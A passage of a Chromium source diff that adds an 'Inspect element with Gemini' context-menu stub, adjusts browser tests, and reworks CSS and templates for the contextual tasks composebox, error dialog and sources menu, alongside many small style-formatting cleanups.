     case IDC_CONTENT_CONTEXT_RESTART_PACKAGED_APP:
       return IsDevCommandEnabled(id);
@@ -3562,6 +3580,14 @@
       ExecInspectBackgroundPage();
       break;
 
+    case IDC_CONTENT_CONTEXT_INSPECTELEMENT_WITH_GEMINI:
+      ExecInspectElementWithGemini();
+      break;
+
+    case IDC_CONTENT_CONTEXT_INSPECTELEMENT_WITH_DEVTOOLS:
+      ExecInspectElement();
+      break;
+
     case IDC_CONTENT_CONTEXT_TRANSLATE:
       ExecTranslate();
       break;
@@ -4287,6 +4313,12 @@
       platform_app, GetProfile(), DevToolsOpenedByAction::kContextMenuInspect);
 }
 
+void RenderViewContextMenu::ExecInspectElementWithGemini() {
+  // TODO(crbug.com/466071312): Implement this.
+  LOG(ERROR) << "ExecInspectElementWithGemini called at " << params_.x << ", "
+             << params_.y;
+}
+
 void RenderViewContextMenu::CheckSupervisedUserURLFilterAndSaveLinkAs() {
   Profile* const profile = Profile::FromBrowserContext(browser_context_);
   CHECK(profile);
diff --git a/chrome/browser/renderer_context_menu/render_view_context_menu.h b/chrome/browser/renderer_context_menu/render_view_context_menu.h
index 856154dd..5caabda 100644
--- a/chrome/browser/renderer_context_menu/render_view_context_menu.h
+++ b/chrome/browser/renderer_context_menu/render_view_context_menu.h
@@ -373,6 +373,7 @@
   void ExecProtocolHandler(int event_flags, int handler_index);
   void ExecOpenLinkInProfile(int profile_index);
   void ExecInspectElement();
+  void ExecInspectElementWithGemini();
   void ExecInspectBackgroundPage();
   void ExecSaveLinkAs();
   void ExecSaveAs();
@@ -498,6 +499,9 @@
   //   built.
   bool is_protocol_submenu_valid_ = false;
 
+  // Inspect sub-menu handling.
+  ui::SimpleMenuModel inspect_submenu_model_;
+
   // An observer that handles spelling suggestions, "Add to dictionary", and
   // "Use enhanced spell check" items.
   std::unique_ptr<SpellingMenuObserver> spelling_suggestions_menu_observer_;
diff --git a/chrome/browser/renderer_context_menu/render_view_context_menu_interactive_uitest.cc b/chrome/browser/renderer_context_menu/render_view_context_menu_interactive_uitest.cc
index 76df8b5..3cb8abf 100644
--- a/chrome/browser/renderer_context_menu/render_view_context_menu_interactive_uitest.cc
+++ b/chrome/browser/renderer_context_menu/render_view_context_menu_interactive_uitest.cc
@@ -1636,7 +1636,7 @@
 IN_PROC_BROWSER_TEST_P(GlicInteractiveContextMenuPolicyTest,
                        GlicShareImageFailsWhenGuestURLBlocked) {
   // Check that our destination is the Guest URL.
-  auto guest_url = glic::GetGuestURL(browser()->profile());
+  GURL guest_url = glic::GetGuestURL();
   data_controls::SetDataControls(
       browser()->profile()->GetPrefs(),
       {base::StringPrintf(kPastePolicyTemplate, guest_url.spec())});
diff --git a/chrome/browser/renderer_host/render_process_host_chrome_browsertest.cc b/chrome/browser/renderer_host/render_process_host_chrome_browsertest.cc
index aa01f97..8e83a52 100644
--- a/chrome/browser/renderer_host/render_process_host_chrome_browsertest.cc
+++ b/chrome/browser/renderer_host/render_process_host_chrome_browsertest.cc
@@ -584,14 +584,17 @@
 // closing the passed in TabStripModel. This is used in the following test case.
 class WindowDestroyer : public content::WebContentsObserver {
  public:
-  WindowDestroyer(content::WebContents* web_contents, TabStripModel* model)
-      : content::WebContentsObserver(web_contents), tab_strip_model_(model) {}
+  WindowDestroyer(BrowserWindowInterface* browser,
+                  content::WebContents* web_contents)
+      : content::WebContentsObserver(web_contents),
+        tab_strip_model_(browser->GetTabStripModel()),
+        observer_(browser) {}
 
   WindowDestroyer(const WindowDestroyer&) = delete;
   WindowDestroyer& operator=(const WindowDestroyer&) = delete;
 
   // Wait for the browser window to be destroyed.
-  void Wait() { ui_test_utils::WaitForBrowserToClose(); }
+  void Wait() { observer_.Wait(); }
 
   void PrimaryMainFrameRenderProcessGone(
       base::TerminationStatus status) override {
@@ -600,6 +603,7 @@
 
  private:
   raw_ptr<TabStripModel> tab_strip_model_;
+  ui_test_utils::BrowserDestroyedObserver observer_;
 };
 
 // Test to ensure that while iterating through all listeners in
@@ -627,7 +631,7 @@
             wc2->GetPrimaryMainFrame()->GetProcess());
 
   // Create an object that will close the window on a process crash.
-  WindowDestroyer destroyer(wc1, browser()->tab_strip_model());
+  WindowDestroyer destroyer(browser(), wc1);
 
   // Kill the renderer process, simulating a crash. This should the ProcessDied
   // method to be called. Alternatively, RenderProcessHost::OnChannelError can
diff --git a/chrome/browser/resources/accessibility/accessibility.css b/chrome/browser/resources/accessibility/accessibility.css
index e8f1d4a..44c43be 100644
--- a/chrome/browser/resources/accessibility/accessibility.css
+++ b/chrome/browser/resources/accessibility/accessibility.css
@@ -65,7 +65,8 @@
   color: red;
 }
 
-a, span.readOnlyMode {
+a,
+span.readOnlyMode {
   margin-block-end: 10px;
   margin-block-start: 10px;
   margin-inline-start: 20px;
diff --git a/chrome/browser/resources/actor_internals/actor_internals.css b/chrome/browser/resources/actor_internals/actor_internals.css
index 42f9539..d4898f2d 100644
--- a/chrome/browser/resources/actor_internals/actor_internals.css
+++ b/chrome/browser/resources/actor_internals/actor_internals.css
@@ -2,7 +2,8 @@
  * Use of this source code is governed by a BSD-style license that can be
  * found in the LICENSE file. */
 
-th, td {
+th,
+td {
   border: 1px solid #ccc;
   max-width: 300px;
   word-wrap: break-word;
diff --git a/chrome/browser/resources/ash/settings/os_settings_icons.css b/chrome/browser/resources/ash/settings/os_settings_icons.css
index 1b7f04b..9b0b89ab 100644
--- a/chrome/browser/resources/ash/settings/os_settings_icons.css
+++ b/chrome/browser/resources/ash/settings/os_settings_icons.css
@@ -12,14 +12,17 @@
   --cr-icon-button-fill-color: var(--cros-button-icon-color-secondary);
   --cr-icon-image: url(chrome://os-settings/images/icon_add_circle.svg);
 }
+
 cr-icon-button.icon-add-wifi {
   --cr-icon-button-fill-color: var(--cros-button-icon-color-secondary);
   --cr-icon-image: url(chrome://os-settings/images/icon_add_wifi.svg);
 }
+
 cr-icon-button.icon-pair-bluetooth {
   --cr-icon-button-fill-color: var(--cros-button-icon-color-secondary);
   --cr-icon-image: url(chrome://os-settings/images/icon_pair_bluetooth.svg);
 }
+
 cr-icon-button.icon-add-cellular {
   --cr-icon-button-fill-color: var(--cros-button-icon-color-secondary);
   --cr-icon-image: url(chrome://os-settings/images/icon_add_cellular.svg);
diff --git a/chrome/browser/resources/bookmarks/item.css b/chrome/browser/resources/bookmarks/item.css
index 4f188b82..f66cafe6 100644
--- a/chrome/browser/resources/bookmarks/item.css
+++ b/chrome/browser/resources/bookmarks/item.css
@@ -94,7 +94,7 @@
 }
 
 cr-icon-button {
-  margin-inline-start: 0px;
+  margin-inline-start: 0;
   margin-inline-end: 12px;
 }
 
diff --git a/chrome/browser/resources/bookmarks/list.css b/chrome/browser/resources/bookmarks/list.css
index 5865e14..2d85278 100644
--- a/chrome/browser/resources/bookmarks/list.css
+++ b/chrome/browser/resources/bookmarks/list.css
@@ -31,7 +31,7 @@
 
 #promoCard {
   margin-bottom: 18px;
-  padding: 0px;
+  padding: 0;
 }
 
 .centered-message {
diff --git a/chrome/browser/resources/bookmarks/promo_card.css b/chrome/browser/resources/bookmarks/promo_card.css
index 4422a540..2215440 100644
--- a/chrome/browser/resources/bookmarks/promo_card.css
+++ b/chrome/browser/resources/bookmarks/promo_card.css
@@ -30,7 +30,7 @@
   font-size: 14px;
   font-weight: 500;
   line-height: 20px;
-  margin: 0px;
+  margin: 0;
 }
 
 #description {
diff --git a/chrome/browser/resources/browser_switch/internals/app.css b/chrome/browser/resources/browser_switch/internals/app.css
index 85d9cf1..455e7c0 100644
--- a/chrome/browser/resources/browser_switch/internals/app.css
+++ b/chrome/browser/resources/browser_switch/internals/app.css
@@ -141,7 +141,9 @@
   justify-content: space-between;
 }
 
-.url-card-container, .cr-left-card-container, .card {
+.url-card-container,
+.cr-left-card-container,
+.card {
   box-shadow: var(--cr-card-shadow);
   background-color: var(--cr-card-background-color);
   border-radius: var(--cr-card-border-radius);
diff --git a/chrome/browser/resources/certificate_viewer/modifications_panel.css b/chrome/browser/resources/certificate_viewer/modifications_panel.css
index 73ccb94..18a0479 100644
--- a/chrome/browser/resources/certificate_viewer/modifications_panel.css
+++ b/chrome/browser/resources/certificate_viewer/modifications_panel.css
@@ -68,6 +68,7 @@
   --cr-input-color: rgb(31,31,31);
   --cr-input-placeholder-color: rgb(130,130,130);
 }
+
 #trustStateSelect {
   --md-select-option-bg-color: white;
 }
diff --git a/chrome/browser/resources/chromeos/accessibility/definitions/offscreen.d.ts b/chrome/browser/resources/chromeos/accessibility/definitions/offscreen.d.ts
index f22b53b..4653255 100644
--- a/chrome/browser/resources/chromeos/accessibility/definitions/offscreen.d.ts
+++ b/chrome/browser/resources/chromeos/accessibility/definitions/offscreen.d.ts
@@ -1,12 +1,12 @@
-// Copyright 2025 The Chromium Authors
+// Copyright 2026 The Chromium Authors
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
 /**
  * @fileoverview Definitions for chrome.offscreen API
- * Generated from: extensions/common/api/offscreen.idl
+ * Generated from: extensions/common/api/offscreen.webidl
  * run `tools/json_schema_compiler/compiler.py
- * extensions/common/api/offscreen.idl -g ts_definitions` to regenerate.
+ * extensions/common/api/offscreen.webidl -g ts_definitions` to regenerate.
  */
 
 
diff --git a/chrome/browser/resources/chromeos/arc_support/cr_overlay.css b/chrome/browser/resources/chromeos/arc_support/cr_overlay.css
index a76a343..0de9848f 100644
--- a/chrome/browser/resources/chromeos/arc_support/cr_overlay.css
+++ b/chrome/browser/resources/chromeos/arc_support/cr_overlay.css
@@ -195,6 +195,7 @@
 #overlay-container-1 {
   z-index: 11;
 }
+
 #overlay-container-2 {
   z-index: 12;
 }
diff --git a/chrome/browser/resources/chromeos/healthd_internals/healthd_internals_shared.css b/chrome/browser/resources/chromeos/healthd_internals/healthd_internals_shared.css
index 660f37a..7a5b577e 100644
--- a/chrome/browser/resources/chromeos/healthd_internals/healthd_internals_shared.css
+++ b/chrome/browser/resources/chromeos/healthd_internals/healthd_internals_shared.css
@@ -11,7 +11,8 @@
  * #include=cr-shared-style cr-nav-menu-item-style md-select
  * #css_wrapper_metadata_end */
 
-h1, h2 {
+h1,
+h2 {
   color: var(--cr-primary-text-color);
   font-weight: 500;
   padding-inline-start: 24px;
diff --git a/chrome/browser/resources/chromeos/login/components/common_styles/oobe_common_styles.css b/chrome/browser/resources/chromeos/login/components/common_styles/oobe_common_styles.css
index a27d1b8..de87a14 100644
--- a/chrome/browser/resources/chromeos/login/components/common_styles/oobe_common_styles.css
+++ b/chrome/browser/resources/chromeos/login/components/common_styles/oobe_common_styles.css
@@ -29,10 +29,12 @@
       .scrollable.can-scroll:not(.is-scrolled):not(.scrolled-to-bottom) {
         border-bottom-color: var(--cros-sys-separator);
       }
+
       .scrollable.can-scroll.is-scrolled:not(.scrolled-to-bottom) {
         border-top-color: var(--cros-sys-separator);
         border-bottom-color: var(--cros-sys-separator);
       }
+
       .scrollable.is-scrolled.scrolled-to-bottom {
         border-top-color: var(--cros-sys-separator);
       }
@@ -43,6 +45,7 @@
         cursor: pointer;
         text-decoration: underline;
       }
+
       .oobe-local-link:focus {
         outline-color: var(--cros-sys-focus_ring);
         transition: outline-color 200ms;
diff --git a/chrome/browser/resources/chromeos/login/components/common_styles/oobe_dialog_host_styles.css b/chrome/browser/resources/chromeos/login/components/common_styles/oobe_dialog_host_styles.css
index 89cc1ce..98893e5 100644
--- a/chrome/browser/resources/chromeos/login/components/common_styles/oobe_dialog_host_styles.css
+++ b/chrome/browser/resources/chromeos/login/components/common_styles/oobe_dialog_host_styles.css
@@ -42,6 +42,7 @@
           border-radius: 4px;
           padding: 13px 0;
         }
+
         :host-context(.jelly-enabled) .oobe-tos-webview {
           border: medium none white;
           border-radius: 16px;
diff --git a/chrome/browser/resources/chromeos/login/components/oobe_vars/oobe_shared_vars.css b/chrome/browser/resources/chromeos/login/components/oobe_vars/oobe_shared_vars.css
index 1d8e1a0..70a2e80 100644
--- a/chrome/browser/resources/chromeos/login/components/oobe_vars/oobe_shared_vars.css
+++ b/chrome/browser/resources/chromeos/login/components/oobe_vars/oobe_shared_vars.css
@@ -47,6 +47,7 @@
       --oobe-radio-card-label-line-height: 24px;
       /* Fonts vars end */
     }
+
     html.jelly-enabled {
       --oobe-adaptive-dialog-header-top-padding: 0px;
     }
diff --git a/chrome/browser/resources/chromeos/login/oobe.css b/chrome/browser/resources/chromeos/login/oobe.css
index c1dba80..5505410f 100644
--- a/chrome/browser/resources/chromeos/login/oobe.css
+++ b/chrome/browser/resources/chromeos/login/oobe.css
@@ -14,9 +14,11 @@
   --oobe-container-border-radius: 2px;
   --oobe-container-elevation: none;
 }
+
 :root.jelly-enabled {
   --oobe-bg-color: var(--cros-sys-app_base_shaded);
 }
+
 :root.jelly-enabled,
 :root.boot-animation-enabled {
   --oobe-container-border-radius: 24px;
@@ -174,10 +176,12 @@
 #inner-container:not(.down)) {
   transition: bottom 900ms cubic-bezier(0.20, 0.00, 0.00, 1.00);
 }
+
 :root.boot-animation-enabled #scroll-container:has(#oobe.connect
 #inner-container.down) {
   bottom: 0;
 }
+
 #scroll-container.disable-scroll {
   overflow-y: hidden;
 }
@@ -238,23 +242,28 @@
   width: 100%;
   z-index: -1;
 }
+
 :root.boot-animation-enabled #inner-container:not(.down-finished)
 #welcome-backdrop {
   /* Property duration curve delay */
   transition: background-color 900ms cubic-bezier(0.20, 0.00, 0.00, 1.00);
 }
+
 :root.boot-animation-enabled[dir=rtl] #oobe.connect
 #welcome-backdrop {
   transform: scaleX(-100%);
 }
+
 :root.boot-animation-enabled #oobe.connect #inner-container.down
 #welcome-backdrop {
   background-color: white;
 }
+
 :root.boot-animation-enabled #oobe.connect
 #welcome-backdrop:has(~[multistep=greeting]) {
   display: block;
 }
+
 :root.boot-animation-enabled #oobe.connect
 #inner-container:has([multistep=greeting]) {
   background-color: transparent;
@@ -264,6 +273,7 @@
 .oobe-display #inner-container:not(.down) {
   transition: transform 200ms ease-in-out;
 }
+
 :root.boot-animation-enabled #oobe.connect #inner-container:not(.down) {
   min-height: var(--oobe-adaptive-dialog-height);
   min-width: var(--oobe-adaptive-dialog-width);
@@ -272,6 +282,7 @@
               min-height 900ms cubic-bezier(0.20, 0.00, 0.00, 1.00),
               min-width 900ms cubic-bezier(0.20, 0.00, 0.00, 1.00);
 }
+
 :root.boot-animation-enabled #oobe.connect #inner-container:not(.down-finished)
 #connect {
   /* Property duration curve delay */
@@ -281,6 +292,7 @@
 .oobe-display #inner-container.down {
   transform: translateY(50px) rotateX(-2.5deg);
 }
+
 :root.boot-animation-enabled #oobe.connect #inner-container.down {
   border-radius: 0;
   min-height: 100vh;
@@ -295,6 +307,7 @@
     min-width: 100vh;
   }
 }
+
 :root.boot-animation-enabled #oobe.connect #inner-container.down #connect {
   opacity: 0;
 }
diff --git a/chrome/browser/resources/chromeos/nearby_internals/shared_style.css b/chrome/browser/resources/chromeos/nearby_internals/shared_style.css
index 7122dec0..cd79c283 100644
--- a/chrome/browser/resources/chromeos/nearby_internals/shared_style.css
+++ b/chrome/browser/resources/chromeos/nearby_internals/shared_style.css
@@ -26,7 +26,8 @@
   flex: 1;
 }
 
-html, body {
+html,
+body {
   width: 100%;
   height: 100%;
   margin: 0;
@@ -148,7 +149,8 @@
   flex-direction: column;
 }
 
-#logType, #logFilters {
+#logType,
+#logFilters {
   width: 50%;
   display: flex;
   flex-direction: column;
diff --git a/chrome/browser/resources/color_pipeline_internals/app.css b/chrome/browser/resources/color_pipeline_internals/app.css
index bca412f..a0a40df 100644
--- a/chrome/browser/resources/color_pipeline_internals/app.css
+++ b/chrome/browser/resources/color_pipeline_internals/app.css
@@ -60,7 +60,8 @@
   flex: 1;
 }
 
-#left, #right {
+#left,
+#right {
   height: 100%;
   position: sticky;
   top: 0;
diff --git a/chrome/browser/resources/contextual_tasks/app.css b/chrome/browser/resources/contextual_tasks/app.css
index f156edc..d77d9fc 100644
--- a/chrome/browser/resources/contextual_tasks/app.css
+++ b/chrome/browser/resources/contextual_tasks/app.css
@@ -51,7 +51,7 @@
   --error-bottom-line-color: #70757A;
   --error-top-line-color: #202124;
   --gradient-protection-width: 100%;
-  --max-composebox-width: 692px;
+  --composebox-max-width: 692px;
   --min-composebox-width: 150px;
   --paper-tooltip-background:rgba(255, 255, 255, 1);
   --paper-tooltip-text-color: rgba(0, 0, 0, 1);
@@ -228,17 +228,15 @@
   visibility: hidden;
 }
 
-:host([is-zero-state_]:not([is-shown-in-tab_])) #composebox {
-  /* Left/right flexbox padding implicitly added via centering is 20px. */
-  width: calc(100% - 40px);
+#composebox {
+  max-width: var(--composebox-max-width);
 }
 
-#composebox {
-  max-width: var(--max-composebox-width);
+:host([is-zero-state_][is-shown-in-tab_]) #composebox {
+  --composebox-max-width: 750px;
 }
 
 :host([is-zero-state_]) #composebox {
-  --max-composebox-width: 750px;
   bottom: 0;
   height: auto;
   min-width: var(--min-composebox-width);
@@ -269,6 +267,7 @@
   position: absolute;
   width: 100%;
 }
+
 :host([is-zero-state_]:not([enable-native-zero-state-suggestions]))
     .flex-center {
   justify-content: flex-end;
@@ -287,6 +286,7 @@
 }
 
 :host([is-zero-state_]:not([is-shown-in-tab_])) .flex-center {
+  align-items: flex-start;
   gap: 24px;
   top: 0;
 }
@@ -307,6 +307,29 @@
   bottom: 30px;
 }
 
+
+@media (min-width: 789px) {
+  :host([is-zero-state_]:not([is-shown-in-tab_])) .flex-center {
+    /* 96px gutter + 5px for text indentation in thread. */
+    --wrapper-indent_: 101px;
+    inset-inline-start: var(--wrapper-indent_);
+    width: calc(100% - var(--wrapper-indent_));
+  }
+}
+
+/* Imitate column grid: indent further to match AIM for both side
+ * panel/full tab. Center it after a certain breakpoint,
+ * utilizing 1140px of fixed space. See contextual tasks
+ * composebox.css min-width: 1420px for full explanation.
+ */
+@media (min-width: 1420px) {
+  :host(:not([is-shown-in-tab_])[is-zero-state_]) .flex-center {
+    --wrapper-indent_: max(285px, calc(50% - 570px));
+    inset-inline-start: var(--wrapper-indent_);
+    width: calc(100% - var(--wrapper-indent_));
+  }
+}
+
 #toolbarOverlay {
   align-self: start;
   background-color: var(--search-background-color);
@@ -349,13 +372,13 @@
 }
 
 #composeboxHeaderWrapper {
-  background-color: var(--search-background-color);
+  background-color: transparent;
   display: none;
   justify-content: center;
   /* Same width so stays at same centering as composebox with flexbox. */
-  max-width: var(--max-composebox-width);
+  max-width: var(--composebox-max-width);
   position: relative;
-  width: calc(100% - 40px);
+  width: 100%;
 }
 
 :host([is-zero-state_]) #composeboxHeaderWrapper {
diff --git a/chrome/browser/resources/contextual_tasks/app.ts b/chrome/browser/resources/contextual_tasks/app.ts
index 49865b9..2f224bb1 100644
--- a/chrome/browser/resources/contextual_tasks/app.ts
+++ b/chrome/browser/resources/contextual_tasks/app.ts
@@ -18,7 +18,6 @@
 import {getCss} from './app.css.js';
 import {getHtml} from './app.html.js';
 import type {ContextualTasksComposeboxElement} from './composebox.js';
-import type {ContextualTasksErrorDialogElement} from './error_dialog.js';
 import type {BrowserProxy} from './contextual_tasks_browser_proxy.js';
 import {BrowserProxyImpl} from './contextual_tasks_browser_proxy.js';
 import {PostMessageHandler} from './post_message_handler.js';
@@ -42,7 +41,6 @@
     composebox: ContextualTasksComposeboxElement,
     composeboxHeaderWrapper: HTMLElement,
     composeboxHeader: HTMLElement,
-    errorDialog: ContextualTasksErrorDialogElement,
     flexCenterContainer: HTMLElement,
   };
 }
@@ -269,7 +267,6 @@
       }),
       callbackRouter.showOauthErrorDialog.addListener(() => {
         this.isErrorDialogVisible_ = true;
-        this.$.errorDialog.showDialog();
       }),
     ];
 
diff --git a/chrome/browser/resources/contextual_tasks/composebox.css b/chrome/browser/resources/contextual_tasks/composebox.css
index 2d82dcb..8f6b0637 100644
--- a/chrome/browser/resources/contextual_tasks/composebox.css
+++ b/chrome/browser/resources/contextual_tasks/composebox.css
@@ -17,15 +17,13 @@
   --composebox-border-radius: 24px;
   --composebox-collapsed-height: 90px;
   --composebox-margin-bottom: 30px;
-  --composebox-start-indent: 15px;
+  --composebox-start-indent: 20px;
   --context-carousel-inline-end-spacing: 24px;
   --context-carousel-inline-start-spacing: 24px;
   --composebox-container-height:
     calc(var(--composebox-height) + var(--composebox-dropdown-height)
       + var(--composebox-margin-bottom)
     );
-  /* Max width for tab and side-panel mode (from Figma) */
-  --composebox-max-width: 692px;
   /* Shared sizing between voice cancel and regular cancel buttons. */
   --composebox-cancel-button-size: 40px;
   --composebox-icon-menu-bottom: 12px;
@@ -86,37 +84,6 @@
   position: fixed;
 }
 
-#composebox {
-  --composebox-thumbnail-img-chip-size: 44px;
-  --composebox-width: calc(100% - 30px); /* 15px on each side */
-  --expanded-border-radius: var(--composebox-border-radius);
-  --input-bottom-spacing: 16px;
-  --inset-start-indent_: 15px;
-  --text-input-left-spacing: 24px;
-  --text-input-top-spacing: 16px;
-  --composebox-context-menu-entrypoint-button-color: var(--color-composebox-voice-lens-button);
-
-  box-shadow: none;
-  box-sizing: border-box;
-  display: block;
-  inset-inline-start: var(--inset-start-indent_);
-  max-width: var(--composebox-max-width);
-  position: relative;
-  /* Fast out (start), slow in (end) box shadow transition. */
-  transition: box-shadow 600ms cubic-bezier(0.4, 0.0, 0.2, 1);
-  /* 100% - (right indent + left indent), up to max width. */
-  width: calc(100% - (15px + var(--inset-start-indent_)));
-  z-index: 1;
-}
-
-:host([is-side-panel]) #composebox {
-  inset-inline-start: var(--composebox-start-indent);
-  max-width: var(--composebox-max-width);
-  min-width: 200px;
-  /* 15px on each side -> 30px. */
-  width: calc(100% - 30px);
-}
-
 :host(:not([is-zero-state])) #composebox::before {
   background: var(--search-background-color);
   border-radius: var(--composebox-border-radius);
@@ -145,6 +112,42 @@
   z-index: 2;
 }
 
+#composebox {
+  --composebox-thumbnail-img-chip-size: 44px;
+  /* 20px on right side. */
+  --composebox-width: calc(100% -
+      var(--composebox-start-indent) - 20px);
+  --expanded-border-radius: var(--composebox-border-radius);
+  --input-bottom-spacing: 16px;
+  --text-input-left-spacing: 24px;
+  --text-input-top-spacing: 16px;
+  --composebox-context-menu-entrypoint-button-color:
+      var(--color-composebox-voice-lens-button);
+
+  box-shadow: none;
+  box-sizing: border-box;
+  display: block;
+  inset-inline-start: var(--composebox-start-indent);
+  max-width: var(--composebox-max-width);
+  position: relative;
+  /* Fast out (start), slow in (end) box shadow transition. */
+  transition: box-shadow 600ms cubic-bezier(0.4, 0.0, 0.2, 1);
+  /* Ensure composebox does not overflow due to indentation.
+   * 20px on right side.
+   */
+  width: var(--composebox-width);
+  z-index: 1;
+}
+
+:host([is-zero-state]) #composebox {
+  bottom: auto;
+}
+
+:host([is-side-panel]) #composeboxContainer #composebox {
+  max-width: var(--composebox-max-width);
+  min-width: 200px;
+}
+
 /* TODO(crbug.com/466201452): Check this relayout logic
  * once Google.com AIM is RTL that this matches AIM.
  */
@@ -163,15 +166,12 @@
      */
     --composebox-start-indent: 101px;
   }
-  :host(:not([is-zero-state])) #composebox {
-    --inset-start-indent_: var(--composebox-start-indent);
-  }
 }
 
 /* W/more space, indent further to match AIM for both side panel and full tab.*/
 @media (min-width: 1420px) {
   :host(:not([is-zero-state]):not([is-side-panel])) #composeboxContainer,
-  :host([is-side-panel]:not([is-zero-state])) #composeboxContainer {
+  :host(:not([is-zero-state])[is-side-panel]) #composeboxContainer {
     /* At this width, indent column should be 280px + 5px left padding.
      * Google.com AIM has 20 other 36px columns as "inset end space",
      * with 20px gaps, which = 720px of cols, 21 * 20px = 420px of gaps.
@@ -185,10 +185,6 @@
      */
     --composebox-start-indent: max(285px, calc(50% - 570px));
   }
-
-  :host(:not([is-zero-state])) #composebox {
-    --inset-start-indent_: var(--composebox-start-indent);
-  }
 }
 
 #composebox::part(thumbnail) {
@@ -198,11 +194,6 @@
   width: var(--thumbnail-size_);
 }
 
-:host([is-zero-state]) #composebox {
-  --inset-start-indent_: 0px;
-  bottom: auto;
-}
-
 :host([is-zero-state]) #composeboxContainer {
   background: transparent;
   display: block;
diff --git a/chrome/browser/resources/contextual_tasks/contextual_tasks.html b/chrome/browser/resources/contextual_tasks/contextual_tasks.html
index 8ea42c6..679f7075 100644
--- a/chrome/browser/resources/contextual_tasks/contextual_tasks.html
+++ b/chrome/browser/resources/contextual_tasks/contextual_tasks.html
@@ -9,6 +9,7 @@
       html, body {
         height: 100%;
         margin: 0;
+        overflow: hidden;
         overscroll-behavior-x: contain;
         padding: 0;
         width: 100%;
diff --git a/chrome/browser/resources/contextual_tasks/error_dialog.css b/chrome/browser/resources/contextual_tasks/error_dialog.css
index 8ba7c93..1f98924 100644
--- a/chrome/browser/resources/contextual_tasks/error_dialog.css
+++ b/chrome/browser/resources/contextual_tasks/error_dialog.css
@@ -18,10 +18,10 @@
 
   --cr-dialog-body-padding-horizontal: 24px;
 
---cr-dialog-button-container-padding-bottom: 24px;
---cr-dialog-button-container-padding-end: 24px;
---cr-dialog-button-container-padding-top: 24px;
---cr-dialog-button-container-padding-horizontal: 24px;
+  --cr-dialog-button-container-padding-bottom: 24px;
+  --cr-dialog-button-container-padding-end: 24px;
+  --cr-dialog-button-container-padding-top: 24px;
+  --cr-dialog-button-container-padding-horizontal: 24px;
 }
 
 cr-dialog::backdrop {
diff --git a/chrome/browser/resources/contextual_tasks/error_dialog.html.ts b/chrome/browser/resources/contextual_tasks/error_dialog.html.ts
index 82a2bd8..42b78494 100644
--- a/chrome/browser/resources/contextual_tasks/error_dialog.html.ts
+++ b/chrome/browser/resources/contextual_tasks/error_dialog.html.ts
@@ -9,7 +9,7 @@
 // clang-format off
 export function getHtml(this: ContextualTasksErrorDialogElement) {
   return html`<!--_html_template_start_-->
-  <cr-dialog id="dialog" no-cancel>
+  <cr-dialog id="dialog" no-cancel show-on-attach>
     <div slot="title">$i18n{oauthErrorDialogTitle}</div>
     <div slot="body">$i18n{oauthErrorDialogBody}</div>
     <div slot="button-container">
diff --git a/chrome/browser/resources/contextual_tasks/error_dialog.ts b/chrome/browser/resources/contextual_tasks/error_dialog.ts
index fe87e078..a4cd523 100644
--- a/chrome/browser/resources/contextual_tasks/error_dialog.ts
+++ b/chrome/browser/resources/contextual_tasks/error_dialog.ts
@@ -29,18 +29,10 @@
     return getHtml.bind(this)();
   }
 
-  override firstUpdated() {
-    this.$.dialog.showModal();
-  }
-
   protected onReloadClick_() {
     window.location.reload();
     this.$.dialog.close();
   }
-
-  showDialog() {
-    this.$.dialog.showModal();
-  }
 }
 
 declare global {
diff --git a/chrome/browser/resources/contextual_tasks/error_page.css b/chrome/browser/resources/contextual_tasks/error_page.css
index 6206c70..ab856160 100644
--- a/chrome/browser/resources/contextual_tasks/error_page.css
+++ b/chrome/browser/resources/contextual_tasks/error_page.css
@@ -26,13 +26,13 @@
 
 #errorIcon {
   height: 48px;
-  margin: 156px auto 0px;
+  margin: 156px auto 0;
   width: 40px;
 }
 
 :host([is-protected-error]) #errorIcon {
   height: 58px;
-  margin: 152px auto 0px;
+  margin: 152px auto 0;
   width: 58px;
 }
 
diff --git a/chrome/browser/resources/contextual_tasks/sources_menu.css b/chrome/browser/resources/contextual_tasks/sources_menu.css
index 9f86ad14c..0b879d2 100644
--- a/chrome/browser/resources/contextual_tasks/sources_menu.css
+++ b/chrome/browser/resources/contextual_tasks/sources_menu.css
@@ -36,43 +36,6 @@
   font-weight: bold;
 }
 
-.icon-container {
-  align-items: center;
-  background-color: var(--cr-fallback-color-disabled-background);
-  border-radius: 8px;
-  display: flex;
-  height: 40px;
-  width: 40px;
-  justify-content: center;
-  overflow: hidden;
-  margin-inline-end: 16px;
-}
-
-.tab-favicon {
-  background-repeat: no-repeat;
-  background-size: var(--mwb-icon-size);
-  flex-shrink: 0;
-  height: var(--mwb-icon-size);
-  width: var(--mwb-icon-size);
-}
-
-.tab-info {
-  display: flex;
-  flex-direction: column;
-}
-
-.tab-title {
-  color: var(--cr-primary-text-color);
-  font-size: var(--mwb-primary-text-font-size);
-  font-weight: 500;
-}
-
-.tab-url {
-  color: var(--cr-secondary-text-color);
-  font-size: var(--mwb-secondary-text-font-size);
-  font-weight: 400;
-}
-
 .file-icon {
   background-color: var(--color-composebox-pdf-chip-icon-background,
       --color-composebox-background);
@@ -82,33 +45,3 @@
   height: var(--mwb-icon-size);
   width: var(--mwb-icon-size);
 }
-
-.file-name {
-  color: var(--cr-primary-text-color);
-  font-size: var(--mwb-primary-text-font-size);
-  font-weight: 500;
-}
-
-.image-container {
-  align-items: center;
-  border-radius: 8px;
-  display: flex;
-  height: 40px;
-  width: 40px;
-  justify-content: center;
-  overflow: hidden;
-  margin-inline-end: 16px;
-}
-
-.image-thumbnail {
-  height: 100%;
-  width: 100%;
-  object-fit: cover;
-  object-position: center;
-}
-
-.image-title {
-  color: var(--cr-primary-text-color);
-  font-size: var(--mwb-primary-text-font-size);
-  font-weight: 500;
-}
diff --git a/chrome/browser/resources/contextual_tasks/sources_menu.html.ts b/chrome/browser/resources/contextual_tasks/sources_menu.html.ts
index caee45e..e577580 100644
--- a/chrome/browser/resources/contextual_tasks/sources_menu.html.ts
+++ b/chrome/browser/resources/contextual_tasks/sources_menu.html.ts
@@ -14,40 +14,27 @@
       ${this.contextInfos.map((item, index) => {
         if (item.tab) {
           return html`
-            <button class="dropdown-item" @click="${this.onTabClick_}"
-                data-index="${index}">
-              <div class="icon-container">
-                <div class="tab-favicon"
-                  style="background-image:${this.faviconUrl_(item.tab.url)}">
-                </div>
-              </div>
-              <div class="tab-info">
-                <div class="tab-title">${item.tab.title}</div>
-                <div class="tab-url"> ${this.getHostname_(item.tab.url)}</div>
-              </div>
-            </button>
+            <cr-url-list-item class="dropdown-item" data-index="${index}"
+                @click="${this.onTabClick_}"
